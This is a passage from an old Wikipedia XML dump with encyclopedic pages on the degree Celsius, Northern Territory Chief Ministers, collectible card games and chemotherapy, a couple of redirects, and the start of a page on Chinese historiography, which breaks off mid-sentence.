|[[kelvin]] ||Celsius ||&amp;deg;C = K &amp;ndash; 273.15
|-
| colspan=3 align=center | &lt;small&gt;[[temperature conversion formulas|Additional conversion formulas]]&lt;br&gt;[http://www.lenntech.com/unit-conversion-calculator/temperature.htm Conversion calculator for units of temperature]&lt;/small&gt;
|}
A '''degree Celsius''' (&amp;deg;C) is a [[units of measurement|unit]] of [[temperature]] named after the [[Sweden|Swedish]] astronomer [[Anders Celsius]] ([[1701]]-[[1744]]), who first proposed a similar system in [[1742]]. The Celsius scale sets 0.01 °C to be at the [[triple point]] of water and a degree Celsius to be 1/273.16 of the difference in temperature between the triple point of water and [[absolute zero]]. Until [[1954]] the scale was defined with the freezing point of water at 0 °C and the boiling point at 100 °C at [[standard atmospheric pressure]].  This definition is still a close approximation to the actual definition and has lead many to wrongly refer to the scale as centigrade.
== History ==
&lt;!--
Note: This is not incorrect, the scale originally counted from 100 &quot;up to&quot; 0, so what is now 1 degree would be 99, what is now 2 degrees would be 98 and so on..
--&gt;
The centigrade scale is the original scale devised by Anders Celsius, in which the boiling point of water at 1,000 millibars was defined as 0 degrees and the freezing point of water was defined as 100 degrees.  This is exactly the reverse of the modern Celsius scale, named after Anders Celsius. It was then reversed to its modern order some time after his death, in part at the instigation of [[Daniel Ekström]], the Swedish manufacturer of most of the [[thermometer]]s used by Celsius. Several other people, including the Swede [[Per Elvius the Elder]] (1710) and the [[France|Frenchman]] [[Christian of Lyons]] (1743), independently invented the same temperature scale. The oft-quoted claim that the botanist [[Carolus Linnaeus]] (1740) is amongst those is unsubstantiated. The [[Delisle scale]] was another temperature scale that ran &quot;downward&quot;.

Since there are one hundred graduations between these two reference points, the original term for this system was '''centigrade''' (100 parts) or '''centesimal'''. In [[1948]] the system's name was officially changed to Celsius (a third name which had also been in use before then) by the 9th [[General Conference on Weights and Measures]] (CR 64), both in recognition of Celsius himself and to eliminate confusion caused by conflict with the use of the [[SI]] ''centi-'' prefix. While the values for freezing and boiling of water remain approximately correct, they are no longer suitable as reference points for a formal standard. The current official definition of the Celsius scale sets 0.01 °C to be at the [[triple point]] of water and a degree to be 1/273.16 of the difference in temperature between the triple point of water and [[absolute zero]]. This definition of the degree was adopted in [[1954]] at the 10th General Conference on Weights and Measures, the very same definition given for the [[kelvin]] degree (but 0 K is not 0°C). For the practical calibration of thermometers, the [[International Temperature Scale of 1990]] defines many additional reference points.

== Naming ==
The degree Celsius is the only SI unit whose full unit name (&quot;degree Celsius&quot;, not &quot;Celsius&quot;) in [[English language|English]] includes an upper case letter. That is a quirk of English, because it is a proper adjective rather than a noun (before the name was changed from &quot;degree Kelvin&quot; to &quot;kelvin&quot; in 1967, that was another SI unit containing a capital letter in English). While [[SI prefix]]es could be applied in principle, they are not used in practice ([[ISO 1000]]).

==Application==
[[Image:20050501 1315 2558-Bimetall-Zeigerthermometer.jpg|thumb|A thermometer that uses the celsius scale.]]
The Celsius scale is the world's most commonly used temperature scale. It has been adopted by virtually all the countries of the world, with the notable exceptions of the United States of America and Jamaica. In broadcast media it was still frequently referred to as centigrade until the late [[1980s]] or early [[1990s]], particularly by weather forecasters on European networks such as the [[BBC]], [[ITV]], and [[Radio Telifís Éireann|RTÉ]]. In the [[United States]] and [[Jamaica]], [[Fahrenheit]] remains the preferred scale for everyday temperature measurement, although Celsius or kelvin is used for aeronautical and scientific applications.

In the [[United Kingdom]], Celsius is the official scale used by the government and the media. It is also the only scale used in temperature controllers (for example, room thermostats). Some of the British media, however, still provide Fahrenheit equivalents since many in Britain, especially older people, still use the Fahrenheit scale. Even so, many that do still switch to the use of Celsius for low temperatures.

The [[Unicode]] character set contains a dedicated precomposed degrees Celsius character (℃, U+2103). This character was only intended for compatibility mapping of [[legacy character set]]s that contain it as well. It should not be used in new texts.
{{Comparison of temperature scales}}

==References==
{{unreferenced}}

{{TemperatureScales}}

[[Category:SI derived units]]
[[Category:Units of temperature]]

[[af:Celsius]]
[[ar:سيلسيوس]]
[[zh-min-nan:Liap-sī]]
[[ca:Celsius]]
[[cs:Stupeň Celsia]]
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[[es:Grado Celsius]]
[[eo:Grado celsia]]
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[[id:Celsius]]
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[[pt:Celsius]]
[[ru:Градус Цельсия]]
[[simple:Celsius]]
[[sk:Stupeň Celzia]]
[[sl:Celzijeva temperaturna lestvica]]
[[sr:Целзијус]]
[[fi:Celsiusaste]]
[[sv:Grad Celsius]]
[[th:องศาเซลเซียส]]
[[zh:摄氏温标]]</text>
    </revision>
  </page>
  <page>
    <title>Chief Minister of the Northern Territory</title>
    <id>7167</id>
    <revision>
      <id>26251429</id>
      <timestamp>2005-10-23T06:15:35Z</timestamp>
      <contributor>
        <username>Ambi</username>
        <id>13040</id>
      </contributor>
      <minor />
      <comment>fmt table</comment>
      <text xml:space="preserve">In [[Australia]], a '''[[Chief Minister]]''' is the [[head of government]] of a self-governing territory, while the head of government of a state is a [[Premiers of the Australian states|Premier]]. 

The Chief Minister is appointed by the [[Administrator of the Northern Territory of Australia|Administrator of the Northern Territory]], who in normal circumstances will appoint the head of whatever party holds the majority of seats in the legislature of the territory (in the [[Northern Territory]], the [[Legislative Assembly]]). However, in times of constitutional crisis the [[Administrator of the Northern Territory of Australia|Administrator]] can appoint someone else as Chief Minister.

=== Chief Ministers of the Northern Territory ===

{| border=&quot;1&quot; cellpadding=&quot;4&quot; cellspacing=&quot;0&quot; style=&quot;border:1px solid #aaa; border-collapse:collapse&quot;
|- bgcolor=&quot;#cccccc&quot;
! '''Chief Minister'''
! '''Party'''
! '''Period in office'''
|-
|| Dr [[Goff Letts]] &lt;sup&gt;1&lt;/sup&gt; || [[Country Liberal Party]] || [[1974]] - [[1977]]
|-
|| [[Paul Everingham]] || [[Country Liberal Party]] || [[1977]] - [[1984]]
|-
|| [[Ian Tuxworth]] || [[Country Liberal Party]] || [[1984]] - [[1986]]
|-
|| [[Stephen Hatton]] || [[Country Liberal Party]] || [[1986]] - [[1988]]
|-
|| [[Marshall Perron]] || [[Country Liberal Party]] || [[1988]] - [[1995]]
|-
|| [[Shane Stone]] || [[Country Liberal Party]] || [[1995]] - [[1999]]
|-
|| [[Denis Burke]] || [[Country Liberal Party]] || [[1999]] - [[2001]]
|-
|| [[Clare Martin]] || [[Australian Labor Party]] || [[2001]] - present
|-
|}

:&lt;sup&gt;1&lt;/sup&gt; While the [[Northern Territory Legislative Assembly]] was created in [[1974]], self-government was not granted until [[1978]]. As a result, members of the executive in the first parliament ([[1974]]-[[1977]]) and the first eighteen months of the second were known by alternative titles. While Dr [[Goff Letts]] and his successor [[Paul Everingham]] were officially known as Majority Leaders, their function was effectively the same as that of a Chief Minister from [[1978]].

[[category:Chief Ministers of the Northern Territory|*]]</text>
    </revision>
  </page>
  <page>
    <title>Chinese exclusion</title>
    <id>7170</id>
    <revision>
      <id>15905249</id>
      <timestamp>2002-10-14T11:19:29Z</timestamp>
      <contributor>
        <username>Olivier</username>
        <id>3808</id>
      </contributor>
      <comment>redirect</comment>
      <text xml:space="preserve">#REDIRECT [[Chinese Exclusion Act]]</text>
    </revision>
  </page>
  <page>
    <title>Collectible card game</title>
    <id>7171</id>
    <revision>
      <id>37504540</id>
      <timestamp>2006-01-31T11:44:36Z</timestamp>
      <contributor>
        <username>McGeddon</username>
        <id>455421</id>
      </contributor>
      <text xml:space="preserve">'''Collectible card games''' ('''CCGs'''), also called '''customizable card games''' or '''trading card games''', are played using specially designed sets of [[card]]s. While [[trading card]]s have been around for much longer, CCGs combine the appeal of collecting and strategic game play.

The first widely-known collectible card game was ''[[Magic: The Gathering]]'', designed by [[Richard Garfield]], published by [[Wizards of the Coast]] in [[1993]].

== Gameplay ==
Each CCG system has a fundamental set of rules that describes the players' objectives, the categories of cards used in the game, and the basic rules by which the cards interact. Each card will have additional text explaining that specific card's effect on the game. They also generally represent some specific element derived from the game's genre, setting, or source material. The cards are illustrated and named for these source elements, and the card's game function may relate to the subject. For example, ''[[Magic: The Gathering|Magic]]'' is based on the [[fantasy]] genre, so many of the cards represent creatures and magical spells from that setting. In the game, a [[European dragon|dragon]] is illustrated as a reptilian beast, may have the ''flying'' ability, and has quite formidable game statistics compared to smaller creatures.

Almost all CCGs are designed around a single resource system by which the pace of each game is generally controlled. Frequently, the cards which comprise a player's deck are also in and of themselves a resource, with the frequency of cards moving from the deck to the play area or player's hand being tightly controlled. Relative card strength is often balanced by the number or type of basic resources needed in order to play the card, and pacing after that may be determined by the flow of cards moving in and out of play. Resources may be specific cards themselves, or represented by other means (i.e. tokens in various resource pools, symbols on cards, etc...).

Players select which cards will compose their deck from the available pool of cards - unlike traditional [[card game]]s such as [[poker]] or [[UNO (game)|UNO]] where the deck's content is limited and pre-determined. This allows a CCG player to strategically customize their deck to take advantage of favorable card interactions, combinations and statistics.

During a game, players traditionally take turns playing cards and performing game-related actions. The order and titles of these steps vary between different game systems, but these are typical:

* Restore - make all in play cards ready for the upcoming turn
* Draw card(s) - necessary in order to circulate cards in players' hands
* Play card(s) - use the cards in hand to interact with the game
* Conflict - the primary method for victory in most games (combat is a very popular theme)
* Discard card(s) - most games have a maximum hand size, or need to refresh for next turn

=== Internet play ===
Modern CCGs have also been developed that are played over the [[Internet]].  Instead of receiving physical cards, a player establishes a &quot;virtual&quot; collection that is kept only in electronic memory and cards can be purchased or traded within this environment. There are online versions of games that originated as physical CCGs, as well as games that exist solely online. The first online CCG was known as [[Chron X]] and was designed and produced by [[Genetic Anomalies]]

== Distribution ==
Specific game cards are most often produced in various degrees of scarcity, generally denoted as ''common'', ''uncommon'', and ''rare''. Some games use alternate or additional designations for the relative rarity levels. Special cards may also only be available through promotions, events, or redemption programs.


Most ''collectible card games'' are distributed as sealed packs containing a subset of the available cards, much like [[trading card]]s. Some of the most common distribution methods are:

* Starter set - This is an introductory product which contains enough cards for two player and includes instructional information for the specific game. In order to speed the learning process, the card content is typically fixed and designed around a theme, so that the new players can start playing right away.
* Tournament or [[starter deck]] - This contains enough game cards (usually 40 or more) for one player. It usually contains a random selection of cards, but with some basic elements so that it may be playable from the start.
* Theme deck - Most CCGs are designed with opposing factions, themes, or strategies. A theme deck is composed primarily of cards that will work well together and is typically non-random.
* [[Booster pack]]s - This method of distribution is most similar to trading cards as the packs contain a random selection of typically 8 to 15 cards.

== Patent ==
[[Wizards of the Coast]] holds {{US patent|5,662,332}} on trading card games.  The [[patent]], filed in October 1995 and granted in September 1997, covers:

* Games published in the form of trading cards.
* Games in which a player selects a collection of tradeable elements and uses that set to compete with other players.
* Certain aspects of gameplay originally developed for ''Magic: The Gathering'', such as &quot;[[tap (gaming)|tapping]]&quot; a card to indicate it is temporarily depleted.

As a holder of the patent, Wizards of the Coast has requested that all trading card game publishers license the mechanics described in the patent, usually for a royalty fee based on total sales.

In October [[2003]], Wizards of the Coast filed suit against [[Nintendo]] and related companies in [[U.S. District Court]] in [[Seattle, Washington|Seattle]] shortly after its distribution agreement expired. The suit alleged, along with other claims, that the [[Pokémon Trading Card Game]] infringed on the company's patent. In December of that year, the parties settled the case on undisclosed terms, precluding a judicial ruling which might have been the first test of the patent's legal validity. As a result of this suit, the &quot;magic cards&quot; in the [[Yu-Gi-Oh! Trading Card Game]] are now called &quot;spell cards&quot;.

== References ==
* Wizards of the Coast (Oct. 15, 1997). Wizards of the Coast Inc. Granted Patent on Trading Card Games. ''Press Release''.
* Cook, John (Oct. 11, 2003). [http://seattlepi.nwsource.com/business/143467_pokemon11.html It's Wizards vs. Pokemon as ex-partners square off]. ''Seattle Post-Intelligencer''.
* Sports Collectors Digest (April 7, 2000) at 50. Description of the first known collectible card game, The Base Ball Card Game produced by The Allegheny Card Co. and registered on April 4, 1904 featuring 104 unique baseball cards with individual player attributes printed on the cards enabling each collector to build a team and play the game against another person.

== See also ==
* [[List of collectible card games]]
* [[Collectible Miniatures Game]]

== External links ==
* [http://www.cartamundi.com/ Carta Mundi, world wide leader in card manufacturing]
* [http://www.rpweld3.com/reviews/ccgreviews.html Richard Weld's Penultimate CCG Review Page]
* [http://www.drumwrightco.com/ Drumwright &amp; Co., trading card printing]


[[Category:Collectible card games|!]]
[[Category:Dedicated deck card games]]

[[de:Sammelkartenspiel]]
[[es:Juego de cartas coleccionables]]
[[fr:Jeu de cartes à collectionner]]
[[it:Gioco di carte collezionabile]]
[[ja:&amp;#12488;&amp;#12524;&amp;#12540;&amp;#12487;&amp;#12451;&amp;#12531;&amp;#12464;&amp;#12459;&amp;#12540;&amp;#12489;&amp;#12466;&amp;#12540;&amp;#12512;]]
[[pl:Kolekcjonerska gra karciana]]
[[pt:Jogos de cartas colecionáveis]]
[[ru:Коллекционная карточная игра]]
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  <page>
    <title>Chemotherapy</title>
    <id>7172</id>
    <revision>
      <id>41669149</id>
      <timestamp>2006-02-28T23:25:48Z</timestamp>
      <contributor>
        <username>Mets501</username>
        <id>880249</id>
      </contributor>
      <text xml:space="preserve">'''Chemotherapy''' is the use of chemical substances to treat disease. In its modern-day use, it refers primarily to [[Cytotoxicity|cytotoxic]] drugs used to treat [[cancer]].

In its non-[[Oncology|oncological]] use, the term may also refer to [[antibiotic]]s (''antibacterial chemotherapy''). In that sense, the first modern chemotherapeutic agent was [[Paul Ehrlich]]'s [[arsphenamine]], an arsenic compound discovered in [[1909]] and used to treat [[syphilis]]. This was later followed by [[sulfonamide]]s discovered by [[Gerhard Domagk|Domagk]] and [[penicillin]] G discovered by [[Alexander Fleming]].

Other uses of cytostatic chemotherapy agents (including the ones mentioned below) are the treatment of [[autoimmune disease]]s such as [[multiple sclerosis]] and [[rheumatoid arthritis]], the treatment of some chronic viral infections such as [[Hepatitis]], and the suppression of [[transplant rejection]]s (see [[immunosuppression]] and [[DMARD]]s).

==History==
{{main|history of cancer chemotherapy}}
The era of chemotherapy began in the 1940s with the first uses of [[nitrogen mustard]]s and [[folic acid]] inhibitors. [[Cancer]] drug development since then has exploded into a multi-billion dollar industry. The targeted-therapy revolution has arrived, but the principles and limitations of chemotherapy discovered by the early researchers still apply.

==Principles==
[[Cancer]] is the uncontrolled growth of [[cell (biology)|cell]]s due to damage to [[DNA]] ([[mutation]]s) and, occasionally, due to an [[genetic disorder|inherited]] propensity to develop certain [[tumor|tumours]]. [[Autoimmune diseases]] arise from an overactive immune response of the body against substances and tissues normally present in the body - in other words, the body attacks its own cells. In contrast, [[transplant rejection]] happens because a normal healthy human immune system can distinguish foreign tissues and attempts to destroy them. Also the reverse situation, called [[graft-versus-host disease]], may take place.

Broadly, most ''chemotherapeutic'' drugs work by impairing [[mitosis]] ([[cell division]]), effectively targeting fast-dividing cells. As these drugs cause damage to cells they are termed ''cytotoxic''. Some drugs cause cells to undergo [[apoptosis]] (so-called &quot;cell suicide&quot;).

Unfortunately, scientists have yet to be able to locate specific features of malignant and immune cells that would make them uniquely targetable (barring some recent examples, such as the [[Philadelphia chromosome]] as targeted by [[imatinib]]). This means that other fast dividing cells such as those responsible for [[hair]] growth and for replacement of the [[intestine|intestinal]] [[epithelium]] (lining) are also affected. However, some drugs have a better [[Adverse effect (medicine)|side-effect]] profile than others, enabling [[physician|doctors]] to adjust treatment regimens to the advantage of patients in certain situations.

As chemotherapy affects cell division, tumours with high ''growth fractions'' (such as [[acute myelogenous leukemia]] and the [[lymphoma]]s, including [[Hodgkin's disease]]) are more sensitive to chemotherapy, as a larger proportion of the targeted cells are undergoing [[cell division]] at any time.

Chemotherapeutic drugs affect &quot;younger&quot; tumours (i.e. less differentiated) more effectively, because at a higher grade of differentiation, the propensity to growth usually decreases. Near the center of some solid tumours, cell division has effectively ceased, making them insensitive to chemotherapy. Another problem with solid tumours is the fact that the chemotherapeutic agent often does not reach the core of the tumour. Solutions to this problem include [[radiation therapy]] (both [[sealed source radiotherapy|brachytherapy]] and [[external beam radiotherapy|teletherapy]]) and [[surgery]].

==Types==
The majority of chemotherapeutic drugs can be divided in to: [[alkylating agent]]s, [[antimetabolite]]s, [[anthracycline]]s, plant [[alkaloid]]s, [[topoisomerase]] inhibitors, and antitumour agents. All of these drugs affect [[cell division]] or [[DNA]] synthesis and function in some way.

Some newer agents don't directly interfere with DNA. These include the new [[tyrosine kinase]] inhibitor ''[[imatinib|imatinib mesylate]]'' (Gleevec® or Glivec®), which directly targets a molecular abnormality in certain types of cancer ([[chronic myelogenous leukemia]], [[gastrointestinal stromal tumor]]s).

In addition, some drugs may be used which modulate tumour cell behaviour without directly attacking those cells.  Hormone treatments fall into this category of adjuvant therapies.

Where available, [[Anatomical Therapeutic Chemical Classification System]] codes are provided for the major categories.

===Alkylating agents ([[ATC_code_L01#L01A_Alkylating_agents|L01A]])===
''See main article: [[alkylating agent]]''

Alkylating agents are so named because of their ability to add alkyl groups to many [[electronegative]] groups under conditions present in cells. 

===Anti-metabolites ([[ATC_code_L01#L01B_Antimetabolites|L01B]])===
''See main article: [[antimetabolite]]''

[[Anti-metabolite]]s masquerade as [[purine]] ((azathioprine, [[mercaptopurine]])) or [[pyrimidine]] - which become the building blocks of DNA. They prevent these substances becoming incorporated in to DNA during the &quot;S&quot; phase (of the [[cell cycle]]), stopping normal development and division. They also affect RNA synthesis. Due to their efficiency, these drugs are the most widely used cytostatics. 

=== Plant alkaloids and terpenoids ([[ATC_code_L01#L01C_Plant_alkaloids_and_other_natural_products|L01C]]) ===
These [[alkaloid]]s are derived from [[plant]]s and block cell division by preventing [[microtubule]] function. Microtubules are vital for cell division and without them it can not occur.  The main examples are [[vinca alkaloid]]s and [[taxane]]s.

==== Vinca alkaloids ([[ATC_code_L01#L01CA_Vinca_alkaloids_and_analogues|L01CA]]) ====

Vinca alkaloids bind to specific sites on tubulin, inhibiting the assembly of tubulin into microtubules ([[M phase]] of the [[cell cycle]]). They are derived from the [[Madagascar periwinkle]], ''Catharanthus roseus'' (formerly known as ''Vinca rosea''). The vinca alkaloids include: -

* [[Vincristine]]
* [[Vinblastine]]
* [[Vinorelbine]]
* [[Vindesine]]

==== Podophyllotoxin ([[ATC_code_L01#L01CB_Podophyllotoxin_derivatives|L01CB]]) ====

[[Podophyllotoxin]] is a plant-derived compound used to produce two other cytostatic drugs, [[etoposide]] and [[teniposide]]. They prevent the cell from entering the [[G1 phase]] (the start of DNA replication) and the replication of DNA (the [[S phase]]). The exact mechanism of its action still has to be elucidated.

The substance has been primarily obtained from the [[American Mayapple]] (''Podophyllum peltatum''). Recently it has been discovered that a rare [[Himalayan Mayapple]] (''Podophyllum hexandrum'') contains it in a much greater quantity, but as the plant is endangered, its supply is limited. Studies have been conducted to isolate the genes involved in the substance's production, so that it could be obtained [[genetic engineering|recombinantively]].

==== Taxanes ([[ATC_code_L01#L01CD_Taxanes|L01CD]]) ====
Taxanes are derived from the [[Taxus|Pacific yew tree]], ''Taxus brevifolia''. Taxanes enhance stability of microtubules, preventing the separation of [[chromosome]]s during [[anaphase]]. Taxanes include: -

* [[Paclitaxel]]
* [[Docetaxel]]

===Topoisomerase inhibitors ([[ATC_code_L01#L01CB_Podophyllotoxin_derivatives|L01CB]] and [[ATC_code_L01#L01XX_Other_antineoplastic_agents|L01XX]]) ===
[[Topoisomerase]]s are essential [[enzyme]]s that maintain the [[topology]] of DNA.  Inhibition of type I or type II topoisomerases interferes with both [[Transcription (genetics)|transcription]] and [[DNA replication|replication]] of DNA by upsetting proper DNA [[supercoil]]ing.  

* Some type I topoisomerase inhibitors include ''camptothecins'': [[irinotecan]] and [[topotecan]].

* Examples of type II inhibitors include [[amsacrine]], [[etoposide]], [[etoposide phosphate]], and [[teniposide]]. These are semisynthetic derivatives of [[epipodophyllotoxin]]s, alkaloids naturally occurring in the root of mayapple (''Podophyllum peltatum''). 

===Antitumour antibiotics ([[ATC_code_L01#L01D_Cytotoxic_antibiotics_and_related_substances|L01D]])===
''See main article: [[antineoplastic]]''

The most important immunosuppressant from this group is [[dactinomycin]], which is used to in [[kidney transplantation]]s.

===Hormonal therapy===
Several malignancies respond to [[hormonal therapy]]. Strictly speaking, this is not chemotherapy. Cancer arising from certain tissues, including the mammary and prostate glands, may be inhibited or stimulated by appropriate changes in hormone balance.
* [[Steroid]]s (often [[dexamethasone]]) can inhibit tumour growth or the associated [[edema]] (tissue swelling), and may cause regression of lymph node malignancies.
* [[Prostate cancer]] is often sensitive to [[finasteride]], an agent that blocks the peripheral conversion of [[testosterone]] to [[dihydrotestosterone]].
* [[Breast cancer]] cells often highly express the [[estrogen]] and/or [[progesterone]] receptor. Inhibiting the production (with [[aromatase inhibitor]]s) or action (with [[tamoxifen]]) of these hormones can often be used as an adjunct to therapy.
* Gonadotropin-releasing hormone agonists (GnRH), such as [[goserelin]] possess a paradoxic negative feedback effect followed by inhibition of the release of FSH ([[follicle-stimulating hormone]]) and LH ([[luteinizing hormone]]), when given continuously.

Some other tumours are also [[hormone]] dependent, although the specific mechanism is still unclear.

==Dosage==
''Dosage'' of chemotherapy can be difficult: if the dose is too low, it will be ineffective against the tumor, while at excessive doses the toxicity (side-effects, [[neutropenia]]) will be intolerable to the patient. This has led to the formation of detailed &quot;dosing schemes&quot; in most hospitals, which give guidance on the correct dose and adjustment in case of toxicity. In immunotherapy, they are in principle used in smaller dosages than in the treatment of malign diseases.

In most cases, the dose is adjusted for the patient's ''[[body surface area]]'', a composite measure of weight and height that mathematically approximates the body volume. The BSA is usually calculated with a mathematical formula or a [[nomogram]], rather than by direct measurement.

==Delivery==
Most chemotherapy is [[Route of administration|delivered]] [[intravenous]]ly, although there are a number of agents that can be administered orally (e.g. [[melphalan]] and [[gemcitabine]]). Depending on the patient, the cancer, the stage of cancer, the type of chemotherapy, and the dosage, IV chemotherapy may be given on either an [[inpatient]] or [[outpatient]] basis. For continuous, frequent or prolonged IV chemotherapy administration, various systems may be surgically inserted into the vasculature to maintain access. Commonly used systems are the [[Hickman line]], the [[Port-a-Cath]] or the [[PICC line]]. These have a lower infection risk, are much less prone to [[phlebitis]] or extravasation, and abolish the need for repeated insertion of peripheral cannulae.

==Treatment schemes==
There are a number of strategies in the administration of chemotherapeutic drugs used today. Chemotherapy may be given with a curative intent or it may aim to prolong life or to palliate symptoms.

''Combined modality chemotherapy'' is the use of drugs with other [[Cancer#Treatments|cancer treatments]], such as [[radiation therapy]] or [[surgery]]. Most cancers are now treated in this way. ''Combination chemotherapy'' is a similar practice which involves treating a patient with a number of different drugs simultaneously. The drugs differ in their mechanism and side effects. The biggest advantage is minimising the chances of resistance developing to any one agent.

In ''neoadjuvant chemotherapy'' (''pre''operative treatment) initial chemotherapy is aimed for shrinking the primary tumour, thereby rendering local therapy (surgery or radiotherapy) less destructive or more effective.

''Adjuvant chemotherapy'' (''post''operative treatment) can be used when there is little evidence of cancer present, but there is risk of recurrence. This can help reduce chances of resistance developing if the tumour does develop. It is also useful in killing any cancerous cells which have spread to other parts of the body. This is often effective as the newly growing tumours are fast-dividing, and therefore very susceptible.

''Palliative chemotherapy'' is given without curative intent, but simply to decrease tumor load and increase life expectancy. For these regimens, a better toxicity profile is generally expected.

Most chemotherapy regimens require that the patient is capable to undergo the treatment. [[Performance status]] is often used as a measure to determine whether a patient can receive chemotherapy, or whether dose reduction is required.

==Side-effects==
The treatment can be physically exhausting for the patient. Current chemotherapeutic techniques have a range of side effects mainly affecting the fast-dividing cells of the body. Important common side-effects include (dependent on the agent):

* [[Alopecia | Hair loss]]
* [[Nausea]] and [[vomiting]]
* [[Diarrhea]] or [[constipation]]
* [[Anemia]]
* Depression of the [[immune system]] hence (potentially lethal) [[infection]]s and [[sepsis]]
* [[Hemorrhage]]
* [[Secondary neoplasm]]s
* [[Cardiotoxic]]ity
* [[Hepatotoxic]]ity
* [[Nephrotoxic]]ity
* [[Ototoxic]]ity

===Immunosuppression and myelosuppression===
Virtually all chemotherapeutic regimens can cause depression of the [[immune system]], often by paralysing the [[bone marrow]] and leading to a decrease of [[white blood cell]]s, [[red blood cell]]s and [[platelet]]s. The latter two, when they occur, are improved with [[blood transfusion]]. [[Neutropenia]] (a decrease of the [[neutrophil granulocyte]] count below 0.5 x 10&lt;sup&gt;9&lt;/sup&gt;/[[litre]]) can be improved with synthetic [[G-CSF]] ([[granulocyte]]-colony stimulating factor, e.g. filgrastim, lenograstim, Neupogen®, Neulasta®.)

In very severe ''myelosuppression'', which occurs in some regimens, almost all the bone marrow [[stem cell]]s (cells which produce [[white blood cells|white]] and [[red blood cell]]s) are destroyed, meaning ''allogenic'' or ''[[autologous]]'' [[bone marrow transplant|bone marrow cell transplants]] are necessary. (In autologous BMTs, cells are removed from the patient before the treatment, multiplied and then re-injected afterwards; in ''allogenic'' BMTs the source is a donor.) However, some patients still develop diseases because of this interference with bone marrow.

===Nausea and vomiting===
Nausea and vomiting caused by chemotherapy; stomach upset may trigger a strong urge to vomit, or forcefully eliminate what is in the stomach.

Stimulation of the vomiting center results in the coordination of responses from the diaphragm, salivary glands, cranial nerves, and gastrointestinal muscles to produce the interruption of respiration and forced expulsion of stomach contents known as retching and vomiting. The vomiting center is stimulated directly by afferent input from the vagal and splanchnic nerves, the pharynx, the cerebral cortex, cholinergic and histamine stimulation from the vestibular system, and efferent input from the chemoreceptor trigger zone (CTZ). The CTZ is in the area postrema, outside the blood-brain barrier, and is thus susceptible to stimulation by substances present in the blood or cerebral spinal fluid. The neurotransmitters dopamine and serotonin stimulate the vomiting center indirectly via stimulation of the CTZ.

The 5-HT3 inhibitors are the most effective antiemetics and constitute the single greatest advance in the management of nausea and vomiting in patients with cancer. These drugs are designed to block one or more of the signals that cause nausea and vomiting. The most sensitive signal during the first 24 hours after chemotherapy appears to be 5-HT3. Blocking the 5-HT3 signal is one approach to preventing acute emesis (vomiting), or emesis that is severe, but relatively short-lived. Approved 5-HT3 inhibitors include: dolasetron (Anzemet®), granisetron (Kytril®), and ondansetron (Zofran®). The newest 5-HT3 inhibitor, Aloxi® (palonosetron), has a distinct advantage over the other 5-HT3 inhibitors because, in addition to preventing acute nausea and vomiting, Aloxi® also prevents delayed nausea and vomiting, which occurs during the 2-5 days after treatment. Aloxi® is the only drug in its class that is approved by the FDA for the treatment of delayed nausea and vomiting.

Some studies{{ref|marijuana}} and patient groups claim that the use of [[cannabinoid]]s derived from [[marijuana]] during chemotherapy greatly reduces the associated nausea and vomiting, and enables the patient to eat. Some synthetic derivatives of the active substance in marijuana ([[tetrahydrocannabinol]] or THC) are in development for this indication.

===Other side effects===
In particularly large tumors, such as large [[lymphoma]]s, some patients develop [[tumor lysis syndrome]] from the rapid breakdown of malignant cells. Although prophylaxis is available and is often initiated in patients with large tumors, this is a dangerous side-effect which can lead to death if left untreated.

Chemotherapy may increase the risk of [[cardiovascular disease]] and occasionally leads to secondary [[cancer]].

Some patients report [[Attention Deficit Disorder|attention deficit]] especially when attempting tasks like driving a car that require continued concentration.  The informal term &quot;[[Chemo Head|chemo head]]&quot; is often used to describe the feeling.  This may be a secondary symptom due to the effects of anemia.

== See also ==

* [[Cancer]]
* [[Gene therapy]]
* [[Experimental cancer treatments]]
* [[Chemotherapy regimens]]

== References ==

* {{note|marijuana}} Tramer MR, Carroll D, Campbell FA, Reynolds DJ, Moore RA, McQuay HJ. ''Cannabinoids for control of chemotherapy induced nausea and vomiting: quantitative [[systematic review]].'' [[British Medical Journal|BMJ]] 2001;323:16-21. PMID 11440936.

== External links ==

* [http://www.thedoctorslounge.net/oncolounge/regimens/index.htm Chemotherapy Regimens Database]
* [http://www.chemocare.com/ Chemocare.com chemotherapy drug information]
* [http://www.chemotherapy.com/ Chemotherapy.com Educational and support information about chemotherapy and associated side effects]

{{Chemotherapeutic agents}}
{{Tumors}}
[[Category:Cancer treatments]]
[[Category:Chemotherapeutic agents| ]]
[[Category:Oncology]]

[[de:Chemotherapie]]
[[es:Quimioterapia]]
[[fr:Chimiothérapie]]
[[he:כימותרפיה]]
[[id:Kemoterapi]]
[[lt:Chemoterapija]]
[[nl:Chemotherapie]]
[[ja:化学療法]]
[[pl:Chemioterapia]]
[[pt:Quimioterapia]]
[[ru:Химиотерапия]]
[[fi:Kemoterapia]]</text>
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  </page>
  <page>
    <title>Codex argenteus</title>
    <id>7173</id>
    <revision>
      <id>15905252</id>
      <timestamp>2003-03-28T22:32:55Z</timestamp>
      <contributor>
        <username>Nixdorf</username>
        <id>5771</id>
      </contributor>
      <text xml:space="preserve">#REDIRECT [[Codex Argenteus]]</text>
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  </page>
  <page>
    <title>Chinese historiography</title>
    <id>7174</id>
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      <id>39473687</id>
      <timestamp>2006-02-13T10:35:46Z</timestamp>
      <contributor>
        <username>Bathrobe</username>
        <id>125728</id>
      </contributor>
      <comment>/* Recent trends in Chinese historical scholarship */</comment>
      <text xml:space="preserve">'''Chinese [[historiography]]''' refers to the study of methods and assumptions made in studying [[Chinese history]].  

== Narratives and Interpretations of Chinese history ==

=== Dynastic Cycle ===

China's traditionalist view of history sees the rise and fall of dynasties as passing the [[mandate of heaven]].  In this view, a new dynasty is founded by a moral uprighteous founder.  Over time, the dynasty becomes morally corrupt and dissolute.  The immorality of the dynasty is reflected in natural disasters, rebellions, and foreign invasions.  Eventually, the dynasty becomes so weak as to allow its replacement by a new dynasty.  This theory became popular during the [[Zhou dynasty]].  It is not entirely cyclical because it claims the [[golden age]] has passed and history is gradually descending towards decadence.  This theory also claims there can be only one rightful sovereign ruling [[all under heaven]] at a time but throughout Chinese history there have been many contentious and long periods of disunity where the question of legitimacy is moot.  Another problem arises if the dynasty falls even if it was virtuous.  The last ruler of a dynasty is always castigated as evil even if that was not the case.

=== Marxist Interpretations of Chinese history ===

Most Chinese history that is published in the [[People's Republic of China]] is based on a [[Marxism|Marxist]] interpretation of history.
The Marxist view of history is that history is governed by universal laws and that according to these laws, a society moves through a series of stages with the transition between stages being driven by class struggle.  These stages are

* slave society
* feudal society
* capitalist society
* socialist society
* world communist society

The official historical view within the People's Republic of China associates each of
